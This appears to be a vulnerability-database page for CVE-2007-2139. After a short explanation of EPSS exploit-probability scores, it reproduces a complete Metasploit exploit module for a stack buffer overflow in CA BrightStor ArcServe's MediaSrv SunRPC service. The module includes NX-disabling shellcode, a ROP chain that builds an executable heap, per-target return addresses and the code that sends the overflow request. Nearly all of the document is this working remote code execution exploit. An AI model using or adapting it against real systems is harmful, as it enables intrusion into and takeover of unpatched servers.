CVE-2007-2139 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # $Id: mediasrv_sunrpc.rb 9583 2010-06-22 19:11:05Z todb $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::SunRPC def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor ArcServe Media Service Stack Buffer Overflow', 'Description' => %q{ This exploit targets a stack buffer overflow in the MediaSrv RPC service of CA BrightStor Arcserve. By sending a specially crafted SUNRPC request, an attacker can overflow a stack buffer and execute arbitrary code. }, 'Author' => [ 'toto' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9583 $', 'References' => [ [ 'CVE', '2007-2139'], [ 'OSVDB', '35326' ], [ 'BID', '23635'], [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-07-022.html'], ], 'Privileged' => true, 'Platform' => 'win', 'Payload' => { 'Space' => 0x300, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c_", 'Prepend' => # Disable NX on 2k3 to upload data on the stack # (service crashes if the stack is switched to the heap) "\x64\x8b\x0d\x30\x00\x00\x00" + # mov ecx, dword ptr fs:[0x30] ; PEB "\x83\xb9\xa4\x00\x00\x00\x05" + # cmp dword ptr [ecx+0xa4], 5 ; MajorVersion == 5 "\x75\x30" + # jnz after "\x83\xb9\xa8\x00\x00\x00\x02" + # cmp dword ptr [ecx+0xa8], 2 ; MinorVersion == 2 "\x75\x27" + # jnz after "\x81\xb9\xac\x00\x00\x00\xce\x0e\x00\x00" + # cmp dword ptr [ecx+0xac], 0xece ; BuildVersion (> SP0) "\x76\x1b" + # jbe after "\x8d\x89\xa8\x00\x00\x00" + # lea ecx, [ecx+0xa8] "\xba\x00\x03\xfe\x7f" + # mov edx, 0x7ffe0300 "\xb8\xed\x00\x00\x00" + # mov eax, 0xed "\x6a\x04" + # push 4 "\x51" + # push ecx "\x6a\x22" + # push 22 "\x6a\xff" + # push -1 "\x6a\xff" + # push -1 (padding) "\xff\x12", # call dword ptr[edx] 'StackAdjustment' => -10000, }, 'Targets' => [ ['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2000)', { 'Ret' => 0x1002b715 , 'Off' => 0x304} ], ['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2003)', { 'Ret' => 0x1002b715 , 'Off' => 0x300} ], ['BrightStor Arcserve 11.1 - 11.5 SP2 (Windows All - NX Support)', { 'Ret' => 0x41414141 } ], ], 'DisclosureDate' => 'Apr 25 2007', 'DefaultTarget' => 0 )) end def exploit sunrpc_create('tcp', 0x6097e, 1) if target.name =~ /NX/ # summary: # # 1) get the payload address # 2) copy the payload into a fixed buffer (data section) # 3) allocate an executable heap buffer (to bypass NX) # 4) copy back the payload into the heap # 5) jmp to the payload in the heap # # step 1: jmp arround the atoi pointers # # add esp, 20h # retn # # step 2: get a pointer to the stack in ecx # # xor eax, eax # mov ecx, dword ptr fs:[0] # cmp dword ptr [ecx+4], offset __unwind_handler # jnz end # [...] # end: # retn # # step 3: mov the stack pointer in eax # # mov eax, ecx # add esp, 20h # retn # # step 4: set fffff824h in esi # # pop esi # retn # # step 5: add esi to eax (eax points to the payload in the stack) # # add eax, esi # pop esi # retn # # step 6: set edi to a buffer we can write (6d515301h) # # pop edi # retn # # step 7: copy the payload to the buffer # # push eax # push edi # call _strcpy_0 # pop ecx # pop ecx # retn # # step 8: set ecx to ffffffh # # pop ecx # retn # # step 9: mov ecx to eax (ffffffff -> MEM_EXECUTABLE) # # mov eax, ecx # add esp, 20h # retn # # step 10: create an executable heap # # push 0 # cmp [esp+4+arg_0], eax # push 1000h # setz al # push eax # call ds:HeapCreate ; create a new heap (executable for NX) # test eax, eax # mov hHeap, eax # jz short loc_6d5071b5 # call ___sbh_heap_init # test eax, eax # jnz short loc_6d5071b8 # push hHeap # call ds:HeapDestroy # loc_6d5071b5: # xor eax, eax # retn # loc_6d5071b8: # push 1 # pop eax # retn # # step 11: Allocate a new heap buffer (size 01060101h) # # push hHeap # call ds:HeapAlloc # pop edi # pop esi # retn # # step 12: set esi to the buffer containing the payload (6d515301h) # # pop esi # retn # # step 13: copy the payload to the heap (executable) # # push esi # push eax # call _strcpy_0 # pop ecx # pop ecx # pop esi # retn # # step 14: go to the heap # # call eax # # step 15: # if 2k3 the prepend data disables NX to upload and execute # data on the stack # # step 16: w00t! data = Rex::Text.rand_text_alphanumeric(0x600) # ret 1 data[ 0x100, 4 ] = [ 0x6d5010e4 ].pack('V') # used to store the result of atoi data[ 0x108, 4 ] = [ 0x6d51652b ].pack('V') data[ 0x10C, 4 ] = [ 0x6d51652b ].pack('V') data[ 0x110, 4 ] = [ 0x6d51652b ].pack('V') data[ 0x114, 4 ] = [ 0x6d51652b ].pack('V') data[ 0x118, 4 ] = [ 0x6d51652b ].pack('V') data[ 0x11C, 4 ] = [ 0x6d51652b ].pack('V') # ret 2 data[ 0x124, 4 ] = [ 0x6d50b27a ].pack('V') # ret 3 data[ 0x128, 4 ] = [ 0x6d5010e2 ].pack('V') # ret 4 data[ 0x14C, 4 ] = [ 0x6d50aa6d ].pack('V') data[ 0x150, 4 ] = [ 0xfffff824 ].pack('V') # ret 5 data[ 0x154, 4 ] = [ 0x6d50aa6b ].pack('V') # ret 6 data[ 0x15C, 4 ] = [ 0x6d5057a0 ].pack('V') data[ 0x160, 4 ] = [ 0x6d515301 ].pack('V') # ret 7 data[ 0x164, 4 ] = [ 0x6d50b938 ].pack('V') # ret 8 data[ 0x178, 4 ] = [ 0x6d502df0 ].pack('V') data[ 0x17C, 4 ] = [ 0xffffffff ].pack('V') # ret 9 data[ 0x180, 4 ] = [ 0x6d5010e2 ].pack('V') # ret 10 data[ 0x1a4, 4 ] = [ 0x6d507182 ].pack('V') # ret 11 data[ 0x1a8, 4 ] = [ 0x6d505c2c ].pack('V') data[ 0x1ac, 4 ] = [ 0xffffffff ].pack('V') data[ 0x1b0, 4 ] = [ 0x01060101 ].pack('V') # ret 12 data[ 0x1bc, 4 ] = [ 0x6d50aa6d ].pack('V') data[ 0x1c0, 4 ] = [ 0x6d515301 ].pack('V') # ret 13 data[ 0x1c4, 4 ] = [ 0x6d50f648 ].pack('V') # ret 14 data[ 0x1cc, 4 ] = [ 0x6d506867 ].pack('V') data[ 0x260 , payload.encoded.length ] = payload.encoded else data = Rex::Text.rand_text_alphanumeric(0xA64) off = target['Off'] data[ off, payload.encoded.length] = payload.encoded data[ off + 0x73c, 2 ] = "\xeb\x06" data[ off + 0x740, 4 ] = [ target.ret ].pack('V') data[ off + 0x744, 5 ] = "\xe9\xb7\xf8\xff\xff" end data = "_" + data + "_1_1_1_1_1_1_1_1_1" request = XDR.encode(1, 1, 2, 2, 2, data, 3, 3) print_status("Trying target #{target.name}...") begin ret = sunrpc_call(0xf5, request) select(nil,nil,nil,20) rescue end sunrpc_destroy handler disconnect end end